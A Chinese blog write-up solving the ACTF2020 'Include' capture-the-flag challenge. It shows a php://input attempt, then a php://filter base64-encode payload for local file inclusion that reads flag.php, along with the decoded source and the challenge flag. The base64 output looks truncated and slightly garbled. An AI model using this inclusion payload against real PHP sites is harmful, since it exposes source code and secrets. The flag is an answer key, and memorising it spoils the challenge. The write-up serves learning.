




# [ACTF2020 新生赛]Include1

原创

小白不白白:  于 2022-01-24 12:43:05 发布  65  收藏

分类专栏: [BUUCTF 代码审计](#) 文章标签: [php 开发语言](#) [后端](#) [安全](#) [web安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/qq\\_45888826/article/details/122665138](https://blog.csdn.net/qq_45888826/article/details/122665138)

版权



[BUUCTF 同时被 2 个专栏收录](#)

7 篇文章 0 订阅

订阅专栏



[代码审计](#)

3 篇文章 0 订阅

订阅专栏

1. 打开环境, 看到tips点击, 看到url有/?file=flag.php, 猜测文件包含

文件包含可以用php伪协议攻击, 查看文件

先用php://input试试

payload为/?file=php://input

提示

hacker!

2. 可能php://input被过滤

还有别的伪协议, 比如 "php://filter"伪协议" 来进行包含。

当它与包含函数结合时, php://filter流会被当作php文件执行。所以我们一般对其进行编码, 阻止其不执行。从而导致任意文件读取。

构造Payload: ?file=php://filter/convert.base64-encode/resource=flag.php

发送请求得到base64编码后的flag.php文件源码:

```
PD9waHAKZWNobyAiQ2FulHlvdSBmaW5klG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7ZTM3MmYwMzUtZmE5
```

进行base64解码出来

```
<?php
echo "Can you find out the flag?";
//flag{e372f035-fa98-48e4-9822-a4a900b01b57}
```

3. 考察了php伪协议漏洞